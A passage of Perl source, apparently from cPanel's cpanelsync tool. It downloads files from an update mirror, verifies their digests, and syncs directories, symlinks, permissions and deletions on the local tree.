Cpanel::Crypt::GPG::Settings::allowed_digest_algorithms(); foreach my $fileinfo (@FILELIST) { ### chomp $fileinfo; next if ( $fileinfo eq '.' ); ## note: appending 'r' to these vars to denote that they represent info on the ## remote (incoming) resource. Ideally, they should be packaged in a hash, ## similar to how $target is handled. ## $rextra is either an md5 for 'file' $ftype, or symlink destination ## $rsha is only valid for 'file' types, and will contain a SHA512 digest for the file. my ( $rtype, $rfile, $rperm, $rextra, $rsha ) = split( /===/, $fileinfo ); my $target_info = lstat_target( $root, $rfile ); ## using %04d as $rperm is a string (comes from the .cpanelsync file) $rperm = sprintf( "%04d", $rperm ); prune_OLDFILES( \%OLDFILES, $rfile, $rtype ); next if ( @excludes && is_excluded( \@excludes, $root, $rfile ) ); if ( $rtype eq 'f' ) { $exit_code = handle_file( $target_info, \%MD5LIST, $root, $rfile, $rextra, $rsha, \@allowed_digests, $skipbz2, $httpClient, $host, $url, $Cpanel::Sync::Common::hasbzip2, $exit_code, $options->{repo}, \@chmod_excludes, $rperm, \%NEWFILES ); return $exit_code if ( $exit_code != 0 ); } elsif ( $rtype eq 'd' ) { handle_dir( $target_info, \@chmod_excludes, $root, $rfile, $rperm ); } elsif ( $rtype eq 'l' ) { handle_symlink( $target_info, $rextra ); } } my $saferoot = $root; $saferoot =~ s/\.\///g; handle_deletes( \@FILELIST, \%OLDFILES, $saferoot ); write_newlist( \%NEWFILES, $saferoot ); writemd5s( \%MD5LIST, $saferoot ); ### "$url/.cpanelsync.version", if ( $exit_code == 0 && $options->{repo} ) { $exit_code = check_repo_version( $options->{repo}, 0, $httpClient, $host, $url ); } if ( -x '/usr/local/cpanel/scripts/cpanelsync_postprocessor' ) { system '/usr/local/cpanel/scripts/cpanelsync_postprocessor', $saferoot; } if ( -x '/usr/local/cpanel/scripts/cpanelsync_postprocessor.custom' ) { system '/usr/local/cpanel/scripts/cpanelsync_postprocessor.custom', $saferoot; } return $exit_code; } sub downloadfile { my ( $httpClient, $file, $where, $signed ) = @_; $file =~ m!http://([^/]+)(.*)!; my $host = $1; my $url = $2; $httpClient->request( 'host' => $1, 'url' => $2, 'protocol' => 1, 'destfile' => $where, 'signed' => $signed, ); } sub loadmd5s { my ( $hr_MD5LIST, $dir ) = @_; if ( open( my $md5_fh, '<', $dir . '/.cpanelsync.md5s' ) ) { local $/; %{$hr_MD5LIST} = map { $_ = [ split( /:::/, $_, 4 ) ]; $_->[0] => { 'size' => $_->[1], 'mtime' => $_->[2], 'md5' => $_->[3] } } split( /\n/, readline($md5_fh) ); close($md5_fh); } return; } sub write_newlist { my ( $hr_NEWFILES, $dir ) = @_; $dir =~ s/\/$//g; open( my $new_fh, '>', $dir . '/.cpanelsync.new' ) || do { warn "Could not write new list: " . $dir . '/.cpanelsync.new'; return; }; print {$new_fh} join( "\n", keys %$hr_NEWFILES ) . ( scalar keys %$hr_NEWFILES ? "\n" : '' ); # as we did before close($new_fh); } sub writemd5s { my ( $hr_MD5LIST, $dir ) = @_; $dir =~ s/\/$//g; open( MD5, '>', $dir . '/.cpanelsync.md5s' ) || do { warn "Could not write md5 cache: " . $dir . '/.cpanelsync.md5s'; return; }; foreach my $filename ( keys %$hr_MD5LIST ) { next if ( !$hr_MD5LIST->{$filename}{'used'} || substr( $filename, 0, 1 ) eq '/' ); print MD5 join( ':::', $filename, $hr_MD5LIST->{$filename}{'size'}, $hr_MD5LIST->{$filename}{'mtime'}, $hr_MD5LIST->{$filename}{'md5'} ) . "\n"; } close(MD5); } sub downloadfailed { my ($httpClient) = @_; print 'Download Failed... trying again...in..'; if ($httpClient) { $httpClient->disconnect(); } my $sleepsecs = 60; for ( my $i = $sleepsecs; $i > 0; $i-- ) { print '..' . $i . '..'; sleep 1; } } sub check_repo_version { my ( $repo, $httpClient, $host, $url ) = @_; my $local_repo_v; if ( !-e '/var/cpanel' ) { mkdir( '/var/cpanel', 0755 ); } if ( !-e '/var/cpanel/cpanelsync' ) { mkdir( '/var/cpanel/cpanelsync', 0755 ); } if ( !-e '/var/cpanel/cpanelsync/repoversions' ) { mkdir( '/var/cpanel/cpanelsync/repoversions', 0755 ); } my $repo_fh; open( $repo_fh, '<', '/var/cpanel/cpanelsync/repoversions/' . $repo ) && do { $local_repo_v = readline($repo_fh); chomp($local_repo_v); close($repo_fh); }; my ( $remote_repo_v, $status ) = $httpClient->request( 'exitOn404' => 0, 'host' => $host, 'url' => "$url/.cpanelsync.version", 'protocol' => 1, ); if ($remote_repo_v) { if ( !$local_repo_v || $remote_repo_v ne $local_repo_v ) { open( my $repo_fh, '>', '/var/cpanel/cpanelsync/repoversions/' . $repo ); print {$repo_fh} $remote_repo_v; close($repo_fh); if ($local_repo_v) { print "Repo: $repo : version changed from $local_repo_v to $remote_repo_v in mid sync. Sync needs to be restarted.\n"; return 16; } else { print "Repo: $repo : learned new version: $remote_repo_v\n"; } } else { print "Repo: $repo : check passed : local=$local_repo_v & remote=$remote_repo_v\n"; } } return 0; } sub is_excluded { my ( $ar_excludes, $root, $rfile ) = @_; if ( @{$ar_excludes} ) { my $clean_rfile = $rfile; $clean_rfile =~ s!^\./!!; my $absfile = $root . '/' . $clean_rfile; $absfile =~ tr{/}{}s; $absfile =~ s{ [/] \z }{}xmsg; ## Note: to take advantage of the "implicit" exclusion of a directory's contents, as written ## the explicitly listed exclude directory must exist at the installation site. if ( grep { $_ eq $absfile || ( -d $_ && $absfile =~ m/^\Q$_\E\// ) } @{$ar_excludes} ) { print "Skipping sync of $absfile (check /etc/cpanelsync.exclude)\n"; return 1; } ## Maintain support for old broken behavior -------------- $absfile = $root . '/' . $rfile; $absfile =~ tr{/}{}s; $absfile =~ s{ [/] \z }{}xmsg; if ( grep { $_ eq $absfile } @{$ar_excludes} ) { print "Skipping sync of $absfile (check /etc/cpanelsync.exclude)\n"; return 1; } ## ------------------------------------------------------- } return; } sub in_chmod_excludes { my ( $ar_chmod_excludes, $root, $rfile ) = @_; if (@$ar_chmod_excludes) { my $clean_rfile = $rfile; $clean_rfile =~ s/^\.\///; my $absfile = $root . '/' . $clean_rfile; $absfile =~ tr{/}{}s; $absfile =~ s{ [/] \z }{}xmsg; return 1 if ( grep { $_ eq $absfile } @$ar_chmod_excludes ); } return; } sub handle_symlink { my ( $target, $rextra ) = @_; my $dolink = 0; if ( !$target->{'exists'} ) { $dolink = 1; } elsif ( $target->{'islnk'} ) { if ( readlink $target->{'path'} ne $rextra ) { unlink $target->{'path'}; $dolink = 1; } } elsif ( $target->{'isnormfile'} ) { unlink $target->{'path'}; $dolink = 1; } elsif ( $target->{'isdir'} ) { system 'rm', '-rf', '--', $target->{'path'}; $dolink = 1; } if ($dolink) { if ( symlink( $rextra, $target->{'path'} ) ) { print "Created symlink $target->{'path'} -> $rextra successfully\n"; } else { print "Failed to create symlink $target->{'path'} -> $rextra: $!\n"; } } return; } sub handle_dir { my ( $target, $ar_chmod_excludes, $root, $rfile, $rperm ) = @_; ## note: $rperm is an octal string (e.g. '0751') if ( $target->{'islnk'} || $target->{'isnormfile'} ) { unlink $target->{'path'}; $target->{'exists'} = 0; } if ( !$target->{'exists'} ) { ## FIX: used to be created with a hardcoded mode of '0755'. The only case this ## will not account for is a new directory that is also in chmod_excludes. I believe ## this to be a very edge case. if ( Cpanel::SafeDir::MK::safemkdir( $target->{'path'}, $rperm, 2 ) ) { print "Created directory $target->{'path'} successfully\n"; } } elsif ( ( !@$ar_chmod_excludes || !in_chmod_excludes( $ar_chmod_excludes, $root, $rfile ) ) && sprintf( "%04o", ( $target->{'perm'} & 07777 ) ) ne $rperm ) { if ( chmod( oct($rperm), $target->{'path'} ) ) { print "Directory $target->{'path'} verified\n"; } else { print "Failed to update permissions on directory $target->{'path'}: $!"; } } } sub handle_file { ### my ( $target, $hr_MD5LIST, $root, $rfile, $rextra, $rsha, $allowed_digests_ar, $skipbz2, $httpClient, $host, $url, $hasbzip2, $exit_code, $repo, $ar_chmod_excludes, $rperm, $newfiles_ref ) = @_; if ( $target->{'isdir'} ) { system 'rm', '-rf', '--', $target->{'path'}; } elsif ( $target->{'islnk'} ) { unlink $target->{'path'}; } my $local_digest = Cpanel::Sync::Common::get_digest_from_cache( $hr_MD5LIST, $target ); $local_digest ||= Cpanel::Sync::Digest::digest( $target->{'path'} ); if ( ( $target->{'isdir'} || $target->{'islnk'} || !$target->{'exists'} ) || ( $local_digest ne $rextra ) ) { my $dfile = $rfile; $dfile =~ s/^\.//g; my $trycount = 0; my $goodfile = 1; my $usebz2 = 1; my $pathtemp = $target->{'path'} . '-cpanelsync'; DOWNLOAD: while (1) { ### $trycount++; if ( $trycount % 2 == 0 ) { $usebz2 = 0; } else { $usebz2 = 1; } unlink($pathtemp); ### "http://${host}${url}${dfile}.bz2" -or- ### "http://${host}${url}${dfile}" if ( !$skipbz2 && $usebz2 && $dfile !~ m/\.bz2$/ ) { downloadfile( $httpClient, "http://${host}${url}${dfile}.bz2", "$pathtemp.bz2" ); my $size = ( stat("$pathtemp.bz2") )[7]; if ( $size && $size > 0 ) { Cpanel::Sync::Common::unbzip2("$pathtemp.bz2"); } if ( -e "$pathtemp.bz2" ) { ## TODO: meaning what exactly? test with dashk ### TODO: I have no idea myself. Maybe someone else will figure it out. print "$pathtemp.bz2 still exists\n"; unlink "$pathtemp.bz2"; $skipbz2 = 1; next; } } else { downloadfile( $httpClient, "http://${host}${url}${dfile}", $pathtemp ); } my $size = ( stat( $rfile . '-cpanelsync' ) )[7] || 0; my %expected_digests = ( 'md5' => $rextra, 'sha512' => $rsha, ); for my $algo (@$allowed_digests_ar) { my $expected_digest = $expected_digests{$algo}; my $real_digest = Cpanel::Sync::Digest::digest( $target->{'path'} . '-cpanelsync', { algo => $algo } ); if ( $real_digest && $expected_digest ) { if ( $real_digest eq $expected_digest ) { last DOWNLOAD; } else { print "Digest mismatch (actual: $real_digest) (expected: $expected_digest) (size: $size)\n"; } } } print "No valid digest found\n"; if ( $trycount > 1 ) { if ( $trycount % 3 == 0 ) { $httpClient->skiphost(); } if ( $trycount == 10 ) { print "Tried to download the file $rfile 10 times and failed!\n"; if ($repo) { return 16; } $goodfile = 0; last; } ### "$url/.cpanelsync.version", if ($repo) { $exit_code = check_repo_version( $repo, 0, $httpClient, $host, $url ); if ( $exit_code != 0 ) { return $exit_code; } } downloadfailed($httpClient); } } if ($goodfile) { print "Got file $rfile ok (digest matched)\n"; _goodfile_handle_chmod( $ar_chmod_excludes, $root, $rfile, $target->{'perm'}, $pathtemp, $rperm ); _goodfile_handle_rename( $target->{'path'} ); $newfiles_ref->{ $target->{'path'} } = 1; $hr_MD5LIST->{$rfile} = $hr_MD5LIST->{ $rfile . '-cpanelsync' }; delete $hr_MD5LIST->{ $rfile . '-cpanelsync' }; } else { unlink $pathtemp; } } else { if ( ( !@$ar_chmod_excludes || !in_chmod_excludes( $ar_chmod_excludes, $root, $rfile ) ) && $target->{'exists'} && ( sprintf( "%04o", ( $target->{'perm'} & 07777 ) ) ne $rperm ) ) { chmod( oct($rperm), $target->{'path'} ); } } return 0; } sub _goodfile_handle_chmod { my ( $ar_chmod_excludes, $root, $rfile, $origperm, $pathtemp, $rperm ) = @_; ## if file matches the chmod exclude list, chmod the new temp file with ## the mode from the old file if ( @$ar_chmod_excludes && in_chmod_excludes( $ar_chmod_excludes, $root, $rfile ) && $origperm ) { my $real_origperm = sprintf( "%04o", ( $origperm & 07777 ) ); chmod( oct($real_origperm), $pathtemp ); } else { chmod( oct($rperm), $pathtemp ); } } sub _goodfile_handle_rename { my ($path) = @_; unlink $path; if ( -e $path ) { if ( rename( $path, $path . '.unlink' ) ) { unlink $path . '.unlink'; } else { unlink $path; } } ## the "rename || unlink" clause ideally should warn the user that the file did not make it to ## its production location. but this, as this runs as root, is hard-to-replicate. rename( $path . '-cpanelsync', $path ) || unlink( $path . '-cpanelsync' ); return; } sub prune_OLDFILES { my ( $hr_OLDFILES, $rfile, $rtype ) = @_; if ( exists $hr_OLDFILES->{$rfile} ) { # Handle transition from directory to a symlink if ( $rtype eq 'l' && $hr_OLDFILES->{$rfile} ne 'l' ) { foreach my $old_file ( keys %$hr_OLDFILES ) { ## delete from hash all subdirs of $rfile, which is becoming a link if ( $old_file =~ m/^\Q$rfile\E\// ) { delete $hr_OLDFILES->{$old_file}; } } } delete $hr_OLDFILES->{$rfile}; } return; } sub handle_deletes { my ( $ar_FILELIST, $hr_OLDFILES, $saferoot ) = @_; my @olddirectories; my %EXCLUDE_DELETE; if ( -e $saferoot . '/.cpanelsync.delete.exclude' && open( my $exc_fh, '<', $saferoot . '/.cpanelsync.delete.exclude' ) ) { %EXCLUDE_DELETE = map { chomp($_); $_ => undef } (<$exc_fh>); close($exc_fh); } ## note: loop on @FILELIST to prevent mass deletion on an inadvertantly empty .cpanelsync if ( scalar @$ar_FILELIST ) { ## adding 'sort' to guarantee an order for keys() foreach my $oldfile ( sort keys %$hr_OLDFILES ) { $oldfile =~ s/^\.\///g; my @BASEDIR = split( /\//, $saferoot . '/' . $oldfile ); pop(@BASEDIR); my $basedir = join( '/', @BASEDIR ); if ( -l $basedir ) { print "Skipping cleanse of $saferoot/$oldfile (within symlinked directory)\n"; next; } if ( exists $EXCLUDE_DELETE{ $saferoot . '/' . $oldfile } ) { print "Excluding file removal from previous tree: $saferoot/$oldfile\n"; next; } if ( -l $saferoot . '/' . $oldfile ) { ## ???: what sets the .keep files? next if -e $saferoot . '/' . $oldfile . '.keep'; print "Removing symlink from previous tree: $saferoot/$oldfile\n"; unlink $saferoot . '/' . $oldfile or print "Unable to remove deprecated symlink $saferoot/$oldfile: $!\n"; } elsif ( -d $saferoot . '/' . $oldfile ) { push @olddirectories, $saferoot . '/' . $oldfile; } elsif ( -e _ ) { ## ???: what sets the .keep files? next if -e $saferoot . '/' . $oldfile . '.keep'; print "Removing file from previous tree: $saferoot/$oldfile\n"; unlink $saferoot . '/' . $oldfile or print "Unable to remove deprecated file $saferoot/$oldfile: $!\n"; } } } foreach my $dir ( reverse sort @olddirectories ) { print "Removing directory from previous tree: $dir\n"; rmdir $dir or print "Unable to remove deprecated directory $dir: $!\n"; } return; } sub lstat_target { my ( $root, $rfile ) = @_; my %target; $target{'path'} = $root . '/' . $rfile; $target{'path'} =~ s/^\.\///; $target{'path'} =~ s/\/(?:\.\/)+/\//g; $target{'path'} =~ s/\/{2,}/\//g; my @_lstat = lstat( $target{'path'} ); ## two slices to assign @_lstat indexes into %target #'S_IFDIR', 0040000 == Directory #'S_IFREG', 0100000 == Regular file #'S_IFLNK', 0120000 == Symbolic link @target{ 'perm', 'size', 'mtime', 'isdir', 'exists', 'isnormfile', 'islnk' } = ( @_lstat[ 2, 7, 9 ], #perm,size,mtime ( defined $_lstat[2] && $_lstat[2] & 0170000 ) == 0040000 ? 1 : 0, #isdir defined $_lstat[2] ? 1 : 0, #exists ( defined $_lstat[2] && $_lstat[2] & 0170000 ) == 0100000 ? 1 : 0, #isnormfile ( defined $_lstat[2] && $_lstat[2] & 0170000 ) == 0120000 ? 1 : 0 #islnk ); return \%target; } sub _usage { print <<EO_USAGE; Usage: cpanelsync [options] <host> [url] [root] Options: --help Brief help message --nfok=[1|0] Exit on a 404 response from the mirror. Defaults off. --repo=<name> Treats the sync source as a named repo that supports versioning. --signed=[1|0] Enforce GPG signature verificaiton for the .cpanelsync files. --vendor=<name> Specifies the vendor to use with GPG signature verification. Defaults to 'cpanel' --categories=<name> Specifies the vendor keyring to use with GPG signature verification. Defaults based on the globally configured TweakSetting. --quiet=1 Suppress HttpRequest output. Arguments: host The mirror to download from. Normally httpupdate.cpanel.net url The mirror URL that represents the base of the cpanelsync repo. Defaults to '/' root The local directory that is being synced. Defaults to '/'. Notes: This script no longer supports syncing directly against named cPanel tier targets such as RELEASE or STABLE. The cPanel update system in all releases after 11.30 uses a separate cpanelsync v2 system and should be updated using upcp or updatenow. EO_USAGE return 1; } sub _parse_argv { my $argv_ar = shift; my %options = ( nfok => 0, repo => undef, signed => 0, categories => undef, vendor => undef, help => 0, quiet => 0, ); my $usage_flags = {}; foreach my $option_name ( keys %options ) { $usage_flags->{$option_name} = \$options{$option_name}; } my $help_called = 0; my $usage_cr = sub { $help_called = 1; _usage(); }; Cpanel::Usage::wrap_options( { remove => 1 }, $argv_ar, $usage_cr, $usage_flags ); return 0 if ($help_called); if ( $argv_ar->[0] && $argv_ar->[0] =~ m/404/ ) { $options{nfok} = 1; shift @$argv_ar; } my $host = $argv_ar->[0] || ''; my $url = $argv_ar->[1] || '/'; my $root = $argv_ar->[2] || '/'; if ( !$host || $host eq '' ) { return _usage(); } # Block accidental legacy use of cpanelsync to sync /scripts /usr/local/cpanel paths # Only block if coming from cpanel servers so we don't break 3rd party addons if ( $host =~ m{^httpupdate\w*.cpanel.net$}i && $url =~ m{^/cpanelsync/(BETA|CURRENT|DEMO|DNSONLY|EDGE|RELEASE|STABLE)} ) { print "The use of cpanelsync to sync /scripts and/or most /usr/local/cpanel trees is unsupported in 11.30+\n"; print "Please run /usr/local/cpanel/scripts/upcp --force instead.\n"; return 1; } return ( undef, \%options, $host, $url, $root ); } sub _wait_for_mirror_lock { my ( $httpClient, $host, $url, $options ) = @_; my $lock = 'locked'; my $sleep = 30; my $lock_count = 0; my $trycount = 0; # Check for Locked file ### "$url/.cpanelsync.lock", while ( $lock =~ m/locked/i ) { # Unsigned request: no trust anchor, content is not sensitive my ( $lock, $status ) = $httpClient->request( 'exitOn404' => $options->{nfok}, 'host' => $host, 'url' => "$url/.cpanelsync.lock", #http 1.1 on the first request, but drop the connection on the #second one to not tie up the server 'protocol' => ( $lock_count == 0 ? 1 : 0 ) ); return 0 if ( $status == 0 ); last if ( !$lock || $lock !~ m/locked/i ); $lock_count++; if ( $lock_count > 20 ) { $sleep += 30; } elsif ( $lock_count == 20 ) { $sleep = 120; } print "The update server is currently updating its files.\n"; print "It may take up to 30 minutes before access can be obtained.\n"; print "Waiting $sleep seconds for access to the update server......\n"; $httpClient->disconnect(); #do not leave the connection open if ( ++$trycount % 30 == 0 ) { $httpClient->skiphost(); } sleep $sleep; print "Checking again....\n"; } return; } 1;
Close
